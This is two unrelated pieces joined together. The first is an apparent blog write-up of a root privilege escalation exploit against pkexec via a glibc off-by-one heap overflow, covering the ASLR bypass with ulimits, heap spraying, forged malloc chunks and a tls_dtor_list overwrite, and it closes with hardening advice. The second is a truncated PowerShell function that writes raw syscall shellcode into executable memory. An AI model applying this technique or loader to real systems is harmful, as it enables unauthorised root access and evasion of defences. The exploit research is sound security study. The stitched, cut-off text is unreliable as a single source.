Inspired by the success of the wargame, I decided to try and exploit a real
piece of software. I chose the “pkexec” setuid binary as used by Tavis to
demonstrate the bug. The goal is to attain root privilege escalation. Outside
of the wargame environment, it turns out that there are a series of very
onerous constraints that make exploitation hard. I did manage to get an
exploit working, though, so read on to see how.

Step 1: Choose a target distribution

I decided to develop against Fedora 20, 32-bit edition. Why the 32-bit
edition? I’m not going to lie: I wanted to give myself a break. I was
expecting this to be pretty hard so going after the problem in the 32-bit
space gives us just a few more options in our trusty exploitation toolkit.

Why Fedora and not, say, Ubuntu? Both ship pkexec by default. Amusingly,
Ubuntu has deployed the fiendish mitigation called the “even path prefix
length” mitigation. Kudos\! More seriously, there is a malloc\(\) that is key
to the exploit, in gconv\_trans.c:\_\_gconv\_translit\_find\(\)

newp = \(struct known\_trans \*\) malloc \(sizeof \(struct known\_trans\) +
\(\_\_gconv\_max\_path\_elem\_len + name\_len + 3\) + name\_len\);

\_\_gconv\_max\_path\_elem\_len is even, then the malloc\(\) size will be odd.
An odd malloc\(\) size will always result in an off-by-one off the end being
harmless, due to malloc\(\) minimum alignment being sizeof\(void\*\)

On Fedora, \_\_gconv\_max\_path\_elem\_len is odd due to the value being
/usr/lib/gconv/ \(15\) or /usr/lib64/gconv/ \(17\). There are various
unexplored avenues to try and influence this value on Ubuntu but for now we
choose to proceed on Fedora.

Step 2: Bypass ASLR

Let’s face it, ASLR is a headache. On Fedora 32-bit, the pkexec image, the
heap and the stack are all randomized, including relative to each other, e.g.:

b772e000-b7733000 r-xp 00000000 fd:01 4650 /usr/bin/pkexec

b8e56000-b8e77000 rw-p 00000000 00:00 0 \[heap\]

bfbda000-bfbfb000 rw-p 00000000 00:00 0 \[stack\]

There is often a way to defeat ASLR, but as followers of the path of least
resistance, what if we could just bypass it altogether? Well, what happens if
we run pkexec again after running the shell commands ulimit -s unlimitedulimit
-d 1 ? These altered limits to stack and data sizes are inherited across
processes, even setuid ones:

40000000-40005000 r-xp 00000000 fd:01 9909 /usr/bin/pkexec

406b9000-407bb000 rw-p 00000000 00:00 0 /\* mmap\(\) heap \*/

bfce5000-bfd06000 rw-p 00000000 00:00 0 \[stack\]

This is much better. The pkexec image and libraries, as well as the heap, are
now in static locations. The stack still moves around, with about 8MB
variation \(or 11 bits of entropy if you prefer\), but we already know static
locations for both code and data without needing to know the exact location of
the stack.

\(For those curious about the effect of these ulimits on 64-bit ASLR, the
situation isn’t as bad there. The binary locations remain well randomized. The
data size trick is still very useful, though: the heap goes from a random
location relative to the binary, to a static offset relative to the binary.
This represents a significant reduction in entropy for some brute-force
scenarios.\)

Step 3: Massage the heap using just command line arguments and the environment

After significant experimentation, our main heap massaging primitive is to
call pkexec with a path comprising of ‘/’ followed by 469 ‘1’ characters. This
path does not exist, so an error message including this path is built. The
eventual error message string is a 508-byte allocation, occupying a 512-byte
heap chunk on account of 4 bytes of heap metadata. The error message is built
using an algorithm that starts with a 100-byte allocation. If the allocation
is not large enough, it is doubled in size, plus 100 bytes, and the old
allocation is freed after a suitable copy. The final allocation is shrunk to
precise size using realloc. Running the full sequence through for our 508-byte
string, we see the following heap API calls:

malloc\(100\), malloc\(300\), free\(100\), malloc\(700\), free\(300\),
realloc\(508\)

By the time we get to this sequence, we’ve filled up all the heap “holes” so
that these allocations occur at the end of the heap, leading to this heap
layout at the end of the heap \(where “m” means metadata and a red value shows
where the corruption will occur\):

free space: 100free space: 300error message: 508 bytes

In fact, the heap algorithm will have coalesced the 100 and 300 bytes of free
space. Next, the program proceeds to consider character set conversion for the
error message. This is where the actual NUL byte heap overflows occurs, due to
our CHARSET=//AAAAA… environment variable. Leading up to this, a few small
allocations outside of our control occur. That’s fine; they stack up at the
beginning of the coalesced free space. An allocation based on our CHARSET
environment variable now occurs. We choose the number of A’s in our value to
cause an allocation of precisely 236 bytes, which perfectly fills the
remaining space in the 400 bytes of free space. The situation now looks like
this:

charset derived value: 236 bytesm: 0x00000201error message: 508 bytes

The off-by-one NUL byte heap corruption now occurs. It will clobber the LSB of
the metadata word that precedes the error message allocation. The format of
metadata is a size word, with a couple of flags in the two least significant
bits. The flag 0x1, which is set, indicates that the previous buffer, the
charset derived value, is in use. The size is 0x200, or 512 bytes. This size
represents the 508 bytes of the following allocation plus 4 bytes of metadata.
The size and flag values at this time are very specifically chosen so that the
single NUL byte overflow only has the effect of clearing the 0x1 in use flag.
The size is unchanged, which is important later when we need to not break
forward coalescing during free\(\)

Step 4: Despair

The fireworks kick off when the error message is freed as the program exits.
We have corrupted the preceding metadata to make it look like the previous
heap chunk is free when in fact it is not. Since the previous chunk looks
free, the malloc code attempts to coalesce it with the current chunk being
freed. When a chunk is free, the last 4 bytes represent the size of the free
chunk. But the chunk is not really free; so what does it contain as its last 4
bytes? Those bytes will be interpreted as a size. It turns out that as an
attacker, we have zero control over these last 4 bytes: they are always
0x6f732e00, or the string “.so” preceded by a NUL byte.

Obviously, this is a very large size. And unfortunately it is used as an index
backwards in memory in order to find the chunk header structure for the
previous chunk. Since our heap is in the 0x40000000 range, subtracting
0x6f732e00 ends us up in the 0xd0000000 range. This address is in kernel space
so when we dereference it as a chunk header structure, we get a crash and our
exploitation dreams go up in smoke.

At this juncture, we consider alternate heap metadata corruption situations,
in the hope we will find a situation where we have more control:

  1. Forward coalescing of free heap chunks. If we cause the same corruption as described above, but arrange to free the chunk preceding the overflowed chunk, we follow a different code path. It results in the beginning of the 236-byte allocation being treated as a pair of freelist pointers for a linked list operation. This sounds initially promising, but again, we do not seem to have full control over the these values. In particular, the second freelist pointer comes out as NULL \(guaranteed crash\) and it is not immediately obvious how to overlap a non-NULL value there.
  2. Overflowing into a free chunk. This opens up a whole range of possibilities. Unfortunately, our overflow is a NUL byte so we can only make free chunks smaller and not bigger, which is a less powerful primitive. But we can again cause confusion as to the location of heap metadata headers. See “shrink\_free\_hole\_consolidate\_backward.c” in our public bug. Again, we are frustrated because we do not have obvious control over the first bytes of any malloc\(\) object that might get placed into the free chunk after we have corrupted the following length.
  3. Overflowing into a free chunk and later causing multiple pointers to point to the same memory. This powerful technique is covered in “shrink\_free\_hole\_alloc\_overlap\_consolidate\_backward.c” in our public bug. I didn’t investigate this path because the required precise sequence of heap operations did not seem readily possible. Also, the memory corruption occurs after the process has hit an error and is heading towards exit\(\), so taking advantage of pointers to overlapping memory will be hard.

At this stage, things are looking bad for exploitation.

Step 5: Aha\! use a command-line argument spray to effect a heap spray and
collide the heap into the stack

The breakthrough to escape the despair of step 4 comes when we discover a
memory leak in the pkexec program; from pkexec.c:

else if \(strcmp \(argv\[n\], "\--user"\) == 0 || strcmp \(argv\[n\], "-u"\)
== 0\) if \(n >= \(guint\) argc\) usage \(argc, argv\); goto out; opt\_user =
g\_strdup \(argv\[n\]\);

This is very useful\! If we specify multiple “-u” command line arguments, then
we will spray the heap, because setting a new opt\_user value does not
consider freeing the old one.

Furthermore, we observe that modern Linux kernels permit a very large number
of command-line arguments to be passed via execve\(\), with each one able to
be up to 32 pages long.

We opt to pass a very large number \(15 million+\) of “-u” command line
argument values, each a string of 59 bytes in length. 59 bytes plus a NUL
terminator is a 60 byte allocation, which ends up being a 64 byte heap chunk
when we include metadata. This number is important later.

The effect of all these command line arguments is to bloat both the stack
\(which grows down\) and the heap \(which grows up\) until they crash into
each other. In response to this collision, the next heap allocations actually
go above the stack, in the small space between the upper address of the stack
and the kernel space at 0xc0000000. We use just enough command line arguments
so that we hit this collision, and allocate heap space above the stack, but do
not quite run out of virtual address space -- this would halt our exploit\!
Once we’ve caused this condition, our tail-end mappings look a bit like this:

407c8000-7c7c8000 rw-p 00000000 00:00 0 /\* mmap\(\) based heap \*/

7c88e000-bf91c000 rw-p 00000000 00:00 0 \[stack\]

bf91c000-bff1c000 rw-p 00000000 00:00 0 /\* another mmap\(\) heap extent \*/

Step 6: Commandeer a malloc metadata chunk header

The heap corruption listed in step 3 now plays out in a heap extent that is
past the stack. Why did we go to all this effort? Because it avoids the
despair in step 4. The huge backwards index of 0x63732e00 now results in an
address that is mapped\! Specifically, it will hit somewhere around the
0x50700000 range, squarely in the middle of our heap spray. We control the
content at this address.

At this juncture, we encounter the first non-determinism in our exploit. This
is of course a shame as we deployed quite a few tricks to avoid randomness.
But, by placing a heap extent past the stack, we’ve fallen victim to stack
randomization. That’s one piece of randomization we were not able to bypass.
By experimental determination, the top of the stack seems to range from
0xbf800000-0xbffff000, for 2048 \(2^11\) different possibilities with 4k
\(PAGE\_SIZE\) granularity.

A brief departure on exploit reliability. As we spray the heap, the heap grows
in mmap\(\) extents of size 1MB. There is no control over this. Therefore,
there’s a chance that the stack will randomly get mapped sufficiently high
that a 1MB mmap\(\) heap extent cannot fit above the stack. This will cause
the exploit to fail about 1 in 8 times. Since the exploit is a local privilege
escalation and takes just a few seconds, you can simply re-run it.

In order to get around this randomness, we cater for every possible stack
location in the exploit. The backwards index to a malloc chunk header will
land at a specific offset into any one of 2048 different pages. So we simply
forge a malloc chunk header at all of those locations. Whichever one hits by
random, our exploit will continue in a deterministic manner by using the same
path forward. At this time, it’s worth noting why we sprayed the heap with
59-byte strings. These end up spaced 64 bytes apart. Since 64 is a perfect
multiple of PAGE\_SIZE \(4096\), we end up with a very uniform heap spray
pattern. This gives us two things: an easy calculation to map command line
arguments to an address where the string will be placed in the heap, and a
constant offset into the command line strings for where we need to place the
forged heap chunk payload.

Step 7: Clobber the tls\_dtor\_list

So, we have now progressed to the point where we corrupt memory such that a
free\(\) call will end up using a faked malloc chunk header structure that we
control. In order to further progress, we abuse freelist linked list
operations to write a specific value to a specific address in memory. Let’s
have a look at the malloc.c code to remove a pointer from a doubly-linked
freelist:

\#define unlink\(AV, P, BK, FD\) \{ \

\[...\] if \(\_\_builtin\_expect \(FD->bk \!= P || BK->fd \!= P, 0\)\) \{ \
mutex\_unlock\(&\(AV\)->mutex\); \ malloc\_printerr \(check\_action,
"corrupted double-linked list", P\); \ mutex\_lock\(&\(AV\)->mutex\); \ \}
else \{ \ if \(\!in\_smallbin\_range \(P->size\) \ && \_\_builtin\_expect
\(P->fd\_nextsize \!= NULL, 0\)\) \{ \ assert \(P->fd\_nextsize->bk\_nextsize
== P\); \ assert \(P->bk\_nextsize->fd\_nextsize == P\); \ if
\(FD->fd\_nextsize == NULL\) \{ \\\[...\] \} else \{ \
P->fd\_nextsize->bk\_nextsize = P->bk\_nextsize; \
P->bk\_nextsize->fd\_nextsize = P->fd\_nextsize; \\\[...\]

We see that the main doubly linked list is checked in a way that makes it hard
for us to write to arbitrary locations. But the special doubly linked list for
larger allocations has only some debug asserts for the same type of checks.
\(Aside: there’s some evidence that Ubuntu glibc builds might compile these
asserts in, even for release builds. Fedora certainly does not.\) So we craft
our fake malloc header structure so that the main forward and back pointers
point back to itself, and so that the size is large enough to enter the
secondary linked list manipulation. This bypasses the main linked list
corruption check, but allows us to provide arbitrary values for the secondary
linked list. These arbitrary values let us write an arbitrary 4-byte value to
an arbitrary 4-byte address, but with a very significant limitation: the value
we write must itself be a valid writeable address, on account of the double
linking of the linked list. i.e. after we write our arbitrary value of
P->bk\_nextsizeP->fd\_nextsize, the value P->bk\_nextsize is itself
dereferenced and written to.

This limitation does provide a headache. At this point in the process’
lifetime, it is printing an error message just before it frees a few things up
and exits. There are not a huge number of opportunities to gain control of
code execution, and our corruption primitive does not let us directly
overwrite a function pointer with another, different pointer to code. To get
around this, we note that there are two important glibc static data structure
pointers that indirectly control some code that gets run during the exit\(\)
process: \_\_exit\_funcstls\_dtor\_list\_\_exit\_funcs does not work well for
us because the structure contains an enum value that has to be some small
number like 0x00000002 in order to be useful to us. It is hard for us to
construct fake structures that contain NUL bytes in them because our building
block is the NUL-terminated string. But tls\_dtor\_list is ideal for us. It is
a singly linked list that runs at exit\(\) time, and for every list entry, an
arbitrary function pointer is called with an arbitrary value \(which has to be
a pointer due to previous contraints\)\! It’s an easy version of ROP.

Step 8: Deploy a chroot\(\) trick

For our first attempt to take control of the program, we simply call
system\(“/bin/bash”\). This doesn’t work because this construct ends up
dropping privileges. It is a bit disappointing to go to so much trouble to run
arbitrary code, only to end up with a shell running at our original privilege
level.

The deployed solution is to chain in a call to chroot\(\) before the call to
system\(\). This means that when system\(\) executes /bin/sh, it will do so
inside a chroot we have set up to contain our own /bin/sh program. Inside our
fake /bin/sh, we will end up running with effective root privilege. So we
switch to real root privilege by calling setuid\(0\) and then execute a real
shell.

TL;DR: Done\! We escalated from a normal user account to root privileges.

Step 9: Tea and medals; reflect

The main point of going to all this effort is to steer industry narrative away
from quibbling about whether a given bug might be exploitable or not. In this
specific instance, we took a very subtle memory corruption with poor levels of
attacker control over the overflow, poor levels of attacker control over the
heap state, poor levels of attacker control over important heap content and
poor levels of attacker control over program flow.

Yet still we were able to produce a decently reliable exploit\! And there’s a
long history of this over the evolution of exploitation: proclamations of non-
exploitability that end up being neither advisable nor correct. Furthermore,
arguments over exploitability burn time and energy that could be better spent
protecting users by getting on with shipping fixes.

Aside from fixing the immediate glibc memory corruption issue, this
investigation led to additional observations and recommendations:

  * Memory leaks in setuid binaries are surprisingly dangerous because they can provide a heap spray primitive. Fixing the pkexec memory leak is recommended.
  * The ability to lower ASLR strength by running setuid binaries with carefully chosen ulimits is unwanted behavior. Ideally, setuid programs would not be subject to attacker-chosen ulimit values. There’s a long history of attacks along these lines, such as this recent file size limit attack. Other unresolved issues include the ability to fail specific allocations or fail specific file opens via carefully chosen RLIMIT\_ASRLIMIT\_NOFILE values.
  * The exploit would have been complicated significantly if the malloc main linked listed hardening was also applied to the secondary linked list for large chunks. Elevating the assert\(\) to a full runtime check is recommended.
  * We also noticed a few environment variables that give the attacker unnecessary options to control program behavior, e.g. G\_SLICE letting the attacker control properties of memory allocation. There have been interesting historical instances where controlling such properties assisted exploitation such as this traceroute exploit from 2000. We recommend closing these newer routes too.

I hope you enjoyed this write-up as much as I enjoyed developing the exploit\!
There’s probably a simple trick that I’ve missed to make a much simpler
exploit. If you discover that this is indeed the case, or if you pursue a
64-bit exploit, please get in touch\! For top-notch work, we’d love to feature
a guest blog post.

# FuzzySecurity/PSKernel-Primitives

**Created:**| _5/20/2017 8:59:06 PM_  
---|---  
**Updated:**| _5/20/2017 8:59:06 PM_  
**Author:**| __  
**Tags:**| _powershell syscall_  
  

  

1 | function Get-SyscallDelegate \{  
---|---  
2 | <\#  
3 | .SYNOPSIS  
4 |  Allocate 32/64 bit shellcode and get a Syscall delegate for the memory pointer.  
5 |   
6 | .DESCRIPTION  
7 |  Author: Ruben Boonen \(@FuzzySec\)  
8 |  License: BSD 3-Clause  
9 |  Required Dependencies: None  
10 |  Optional Dependencies: None  
11 |   
12 | .PARAMETER ReturnType  
13 |  Syscall return type, this should be an NTSTATUS code \(UInt32\).  
14 |   
15 | .PARAMETER ParameterArray  
16 |  An array of parameter types which the Syscall expects.  
17 |   
18 | .EXAMPLE  
19 |  \# Sample definition for NtWriteVirtualMemory  
20 |  C:\PS> $NtWriteVirtualMemory = Get-SyscallDelegate -ReturnType '\[UInt32\]' -ParameterArray @\(\[IntPtr\],\[IntPtr\],\[IntPtr\],\[int\],\[ref\]\[int\]\)  
21 |   
22 |  \# Syscall ID = 0x37 \(Win7\)  
23 |  C:\PS> $NtWriteVirtualMemory.Invoke\(\[UInt16\]0x37,\[IntPtr\]$hProcess,\[IntPtr\]$pBaseAddress,\[IntPtr\]$pBuffer,$NumberOfBytesToWrite,\[ref\]$OutBytes\)  
24 | \#>  
25 |   
26 |  param\(  
27 |  \[Parameter\(Mandatory=$True\)\]  
28 |  \[ValidateSet\(  
29 |  '\[Byte\]',  
30 |  '\[UInt16\]',  
31 |  '\[UInt32\]',  
32 |  '\[UInt64\]',  
33 |  '\[IntPtr\]',  
34 |  '\[String\]'\)  
35 |  \]  
36 |  $ReturnType,  
37 |  \[Parameter\(Mandatory=$True\)\]  
38 |  \[AllowEmptyCollection\(\)\]  
39 |  \[Object\[\]\]$ParameterArray  
40 |  \)  
41 |   
42 |  Add-Type -TypeDefinition @"  
43 |  using System;  
44 |  using System.Diagnostics;  
45 |  using System.Runtime.InteropServices;  
46 |  using System.Security.Principal;  
47 |   
48 |  public class Syscall  
49 |  \{  
50 |  \[DllImport\("kernel32.dll", SetLastError = true\)\]  
51 |  public static extern IntPtr VirtualAlloc\(  
52 |  IntPtr lpAddress,  
53 |  uint dwSize,  
54 |  UInt32 flAllocationType,  
55 |  UInt32 flProtect\);  
56 |   
57 |  \[DllImport\("kernel32.dll", SetLastError=true\)\]  
58 |  public static extern bool VirtualFree\(  
59 |  IntPtr lpAddress,  
60 |  uint dwSize,  
61 |  uint dwFreeType\);  
62 |  \}  
63 | "@  
64 |   
65 |  \#-----------------------------  
66 |  \# -= Arch x86 =-  
67 |  \# ASM Source => https://github.com/mwrlabs/KernelFuzzer/blob/master/bughunt\_syscall.asm  
68 |  \# Compiled with Get-KeystoneAssembly => https://github.com/keystone-engine/keystone/tree/master/bindings/powershell  
69 |  \#-----------------------------  
70 |  $x86SyscallStub = \[Byte\[\]\] @\(  
71 |  0x55, \# push ebp  
72 |  0x89, 0xE5, \# mov ebp, esp  
73 |  0x81, 0xEC, 0x84, 0x00, 0x00, 0x00, \# sub esp, 84h  
74 |  0x8B, 0x8D, 0x88, 0x00, 0x00, 0x00, \# mov ecx, \[ebp + 88h\]  
75 |  0x51, \# push ecx  
76 |  0x8B, 0x8D, 0x84, 0x00, 0x00, 0x00, \# mov ecx, \[ebp + 84h\]  
77 |  0x51, \# push ecx  
78 |  0x8B, 0x8D, 0x80, 0x00, 0x00, 0x00, \# mov ecx, \[ebp + 80h\]  
79 |  0x51, \# push ecx  
80 |  0x8B, 0x4D, 0x7C, \# mov ecx, \[ebp + 7Ch\]  
81 |  0x51, \# push ecx  
82 |  0x8B, 0x4D, 0x78, \# mov ecx, \[ebp + 78h\]  
83 |  0x51, \# push ecx  
84 |  0x8B, 0x4D, 0x74, \# mov ecx, \[ebp + 74h\]  
85 |  0x51, \# push ecx  
86 |  0x8B, 0x4D, 0x70, \# mov ecx, \[ebp + 70h\]  
87 |  0x51, \# push ecx  
88 |  0x8B, 0x4D, 0x6C, \# mov ecx, \[ebp + 6Ch\]  
89 |  0x51, \# push ecx  
90 |  0x8B, 0x4D, 0x68, \# mov ecx, \[ebp + 68h\]  
91 |  0x51, \# push ecx  
92 |  0x8B, 0x4D, 0x64, \# mov ecx, \[ebp + 64h\]  
93 |  0x51, \# push ecx  
94 |  0x8B, 0x4D, 0x60, \# mov ecx, \[ebp + 60h\]  
95 |  0x51, \# push ecx  
96 |  0x8B, 0x4D, 0x5C, \# mov ecx, \[ebp + 5Ch\]  
97 |  0x51, \# push ecx  
98 |  0x8B, 0x4D, 0x58, \# mov ecx, \[ebp + 58h\]  
99 |  0x51, \# push ecx  
100 |  0x8B, 0x4D, 0x54, \# mov ecx, \[ebp + 54h\]  
101 |  0x51, \# push ecx  
102 |  0x8B, 0x4D, 0x50, \# mov ecx, \[ebp + 50h\]  
103 |  0x51, \# push ecx  
104 |  0x8B, 0x4D, 0x4C, \# mov ecx, \[ebp + 4Ch\]  
105 |  0x51, \# push ecx  
106 |  0x8B, 0x4D, 0x48, \# mov ecx, \[ebp + 48h\]  
107 |  0x51, \# push ecx  
108 |  0x8B, 0x4D, 0x44, \# mov ecx, \[ebp + 44h\]  
109 |  0x51, \# push ecx  
110 |  0x8B, 0x4D, 0x40, \# mov ecx, \[ebp + 40h\]  
111 |  0x51, \# push ecx  
112 |  0x8B, 0x4D, 0x3C, \# mov ecx, \[ebp + 3Ch\]  
113 |  0x51, \# push ecx  
114 |  0x8B, 0x4D, 0x38, \# mov ecx, \[ebp + 38h\]  
115 |  0x51, \# push ecx  
116 |  0x8B, 0x4D, 0x34, \# mov ecx, \[ebp + 34h\]  
117 |  0x51, \# push ecx  
118 |  0x8B, 0x4D, 0x30, \# mov ecx, \[ebp + 30h\]  
119 |  0x51, \# push ecx  
120 |  0x8B, 0x4D, 0x2C, \# mov ecx, \[ebp + 2Ch\]  
121 |  0x51, \# push ecx  
122 |  0x8B, 0x4D, 0x28, \# mov ecx, \[ebp + 28h\]  
123 |  0x51, \# push ecx  
124 |  0x8B, 0x4D, 0x24, \# mov ecx, \[ebp + 24h\]  
125 |  0x51, \# push ecx  
126 |  0x8B, 0x4D, 0x20, \# mov ecx, \[ebp + 20h\]  
127 |  0x51, \# push ecx  
128 |  0x8B, 0x4D, 0x1C, \# mov ecx, \[ebp + 1Ch\]  
129 |  0x51, \# push ecx  
130 |  0x8B, 0x4D, 0x18, \# mov ecx, \[ebp + 18h\]  
131 |  0x51, \# push ecx  
132 |  0x8B, 0x4D, 0x14, \# mov ecx, \[ebp + 14h\]  
133 |  0x51, \# push ecx  
134 |  0x8B, 0x4D, 0x10, \# mov ecx, \[ebp + 10h\]  
135 |  0x51, \# push ecx  
136 |  0x8B, 0x4D, 0x0C, \# mov ecx, \[ebp + 0Ch\]  
137 |  0x51, \# push ecx  
138 |  0x8B, 0x45, 0x08, \# mov eax, \[ebp + 08h\]  
139 |  0xBA, 0x00, 0x03, 0xFE, 0x7F, \# mov edx, 7FFE0300h  
140 |  0xFF, 0x12, \# call dword ptr \[edx\]  
141 |  0x89, 0xEC, \# mov esp, ebp  
142 |  0x5D, \# pop ebp  
143 |  0xC3\) \# ret  
144 |   
145 |  \#-----------------------------  
146 |  \# -= Arch x64 =-  
147 |  \# ASM Source => https://github.com/mwrlabs/KernelFuzzer/blob/master/bughunt\_syscall\_x64.asm  
148 |  \# Compiled with Get-KeystoneAssembly => https://github.com/keystone-engine/keystone/tree/master/bindings/powershell  
149 |  \#-----------------------------  
150 |  $x64SyscallStub = \[Byte\[\]\] @\(  
151 |  0x55, \# push rbp  
152 |  0x48, 0x89, 0xE5, \# mov rbp, rsp  
153 |  0x48, 0x81, 0xEC, 0x18, 0x01, 0x00, 0x00, \# sub rsp, 118h  
154 |  0x48, 0x89, 0xC8, \# mov rax, rcx  
155 |  0x49, 0x89, 0xD2, \# mov r10, rdx  
156 |  0x4C, 0x89, 0xC2, \# mov rdx, r8  
157 |  0x4D, 0x89, 0xC8, \# mov r8, r9  
158 |  0x48, 0x8B, 0x8D, 0x10, 0x01, 0x00, 0x00, \# mov rcx, \[rbp + 110h\]  
159 |  0x51, \# push rcx  
160 |  0x48, 0x8B, 0x8D, 0x08, 0x01, 0x00, 0x00, \# mov rcx, \[rbp + 108h\]  
161 |  0x51, \# push rcx  
162 |  0x48, 0x8B, 0x8D, 0x00, 0x01, 0x00, 0x00, \# mov rcx, \[rbp + 100h\]  
163 |  0x51, \# push rcx  
164 |  0x48, 0x8B, 0x8D, 0xF8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0F8h\]  
165 |  0x51, \# push rcx  
166 |  0x48, 0x8B, 0x8D, 0xF0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0F0h\]  
167 |  0x51, \# push rcx  
168 |  0x48, 0x8B, 0x8D, 0xE8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0E8h\]  
169 |  0x51, \# push rcx  
170 |  0x48, 0x8B, 0x8D, 0xE0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0E0h\]  
171 |  0x51, \# push rcx  
172 |  0x48, 0x8B, 0x8D, 0xD8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0D8h\]  
173 |  0x51, \# push rcx  
174 |  0x48, 0x8B, 0x8D, 0xD0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0D0h\]  
175 |  0x51, \# push rcx  
176 |  0x48, 0x8B, 0x8D, 0xC8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0C8h\]  
177 |  0x51, \# push rcx  
178 |  0x48, 0x8B, 0x8D, 0xC0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0C0h\]  
179 |  0x51, \# push rcx  
180 |  0x48, 0x8B, 0x8D, 0xB8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0B8h\]  
181 |  0x51, \# push rcx  
182 |  0x48, 0x8B, 0x8D, 0xB0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0B0h\]  
183 |  0x51, \# push rcx  
184 |  0x48, 0x8B, 0x8D, 0xA8, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0A8h\]  
185 |  0x51, \# push rcx  
186 |  0x48, 0x8B, 0x8D, 0xA0, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 0A0h\]  
187 |  0x51, \# push rcx  
188 |  0x48, 0x8B, 0x8D, 0x98, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 98h\]  
189 |  0x51, \# push rcx  
190 |  0x48, 0x8B, 0x8D, 0x90, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 90h\]  
191 |  0x51, \# push rcx  
192 |  0x48, 0x8B, 0x8D, 0x88, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 88h\]  
193 |  0x51, \# push rcx  
194 |  0x48, 0x8B, 0x8D, 0x80, 0x00, 0x00, 0x00, \# mov rcx, \[rbp + 80h\]  
195 |  0x51, \# push rcx  
196 |  0x48, 0x8B, 0x4D, 0x78, \# mov rcx, \[rbp + 78h\]  
197 |  0x51, \# push rcx  
198 |  0x48, 0x8B, 0x4D, 0x70, \# mov rcx, \[rbp + 70h\]  
199 |  0x51, \# push rcx  
200 |  0x48, 0x8B, 0x4D, 0x68, \# mov rcx, \[rbp + 68h\]  
201 |  0x51, \# push rcx  
202 |  0x48, 0x8B, 0x4D, 0x60, \# mov rcx, \[rbp + 60h\]  
203 |  0x51, \# push rcx  
204 |  0x48, 0x8B, 0x4D, 0x58, \# mov rcx, \[rbp + 58h\]  
205 |  0x51, \# push rcx  
206 |  0x48, 0x8B, 0x4D, 0x50, \# mov rcx, \[rbp + 50h\]  
207 |  0x51, \# push rcx  
208 |  0x48, 0x8B, 0x4D, 0x48, \# mov rcx, \[rbp + 48h\]  
209 |  0x51, \# push rcx  
210 |  0x48, 0x8B, 0x4D, 0x40, \# mov rcx, \[rbp + 40h\]  
211 |  0x51, \# push rcx  
212 |  0x48, 0x8B, 0x4D, 0x38, \# mov rcx, \[rbp + 38h\]  
213 |  0x51, \# push rcx  
214 |  0x4C, 0x8B, 0x4D, 0x30, \# mov r9, \[rbp + 30h\]  
215 |  0x4C, 0x89, 0xD1, \# mov rcx, r10  
216 |  0x0F, 0x05, \# syscall  
217 |  0x48, 0x89, 0xEC, \# mov rsp, rbp  
218 |  0x5D, \# pop rbp  
219 |  0xC3\) \# ret  
220 |   
221 |  if \(\!$SyscallStubPointer\) \{  
222 |  \# Alloc relevant syscall stub  
223 |  if \(\[System.IntPtr\]::Size -eq 4\) \{  
224 |  \[IntPtr\]$Script:SyscallStubPointer = \[Syscall\]::VirtualAlloc\(\[System.IntPtr\]::Zero, $x86SyscallStub.Length, 0x3000, 0x40\)  
225 |  \[System.Runtime.InteropServices.Marshal\]::Copy\($x86SyscallStub, 0, $SyscallStubPointer, $x86SyscallStub.Length\)  
226 |  \} else \{  
227 |  \[IntPtr\]$Script:SyscallStubPointer = \[Syscall\]::VirtualAlloc\(\[System.IntPtr\]::Zero, $x64SyscallStub.Length, 0x3000, 0x40\)  
228 |  \[System.Runtime.InteropServices.Marshal\]::Copy\($x64SyscallStub, 0, $SyscallStubPointer, $x64SyscallStub.Length\)  
229 |  \}  
230 |  \}  
231 |   
232 |  \# Courtesy of @mattifestation  
233 |  \# => http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html  
234 |  Function Get-DelegateType  
235 |  \{  
236 |  Param  
237 |  \(  
238 |  \[OutputType\(\[Type\]\)\]  
239 |  \[Parameter\( Position = 0\)\]  
240 |  \[Type\[\]\]  
241 |  $Parameters = \(New-Object Type\[\]\(0\)\),  
242 |  \[Parameter\( Position = 1 \)\]  
243 |  \[Type\]  
244 |  $ReturnType = \[Void\]  
245 |  \)  
246 |   
247 |  $Domain = \[AppDomain\]::CurrentDomain  
248 |  $DynAssembly = New-Object System.Reflection.AssemblyName\('ReflectedDelegate'\)  
249 |  $AssemblyBuilder = $Domain.DefineDynamicAssembly\($DynAssembly, \[System.Reflection.Emit.AssemblyBuilderAccess\]::Run\)  
250 |  $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule\('InMemoryModule', $false\)  
251 |  $TypeBuilder = $ModuleBuilder.DefineType\('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', \[System.MulticastDelegate\]\)  
252 |  $ConstructorBuilder = $TypeBuilder.DefineConstructor\('RTSpecialName, HideBySig, Public', \[System.Reflection.CallingConventions\]::Standard, $Parameters\)  
253 |  $ConstructorBuilder.SetImplementationFlags\('Runtime, Managed'\)  
254 |  $MethodBuilder = $TypeBuilder.DefineMethod\('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters\)  
255 |  $MethodBuilder.SetImplementationFlags\('Runtime, Managed'\)  
256 |   
257 |  Write-Output $TypeBuilder.CreateType\(\)  
258 |  \}  
259 |   
260 |  \# Prepare delegate  
261 |  if \($ParameterArray\) \{  
262 |  $ParamCount = $ParameterArray.Length  
263 |  $ParamList = \[String\]::Empty  
264 |  for \($i=0;$i-lt$ParamCount;$i++\) \{  
265 |  if \($ParameterArray\[$i\].Value\) \{  
266 |  $ParamList += "\[" + $ParameterArray\[$i\].Value.Name + "\].MakeByRefType\(\), "  
267 |  \} else \{  
268 |  $ParamList += "\[" + $ParameterArray\[$i\].Name + "\], "  
269 |  \}  
270 |  \}  
271 |  $ParamList = \($ParamList.Substring\(0,$ParamList.Length-2\)\).Insert\(0,", "\)  
272 |  \}  
273 |  $IEXBootstrap = "Get-DelegateType @\(\[UInt16\] $ParamList\) \($ReturnType\)"  
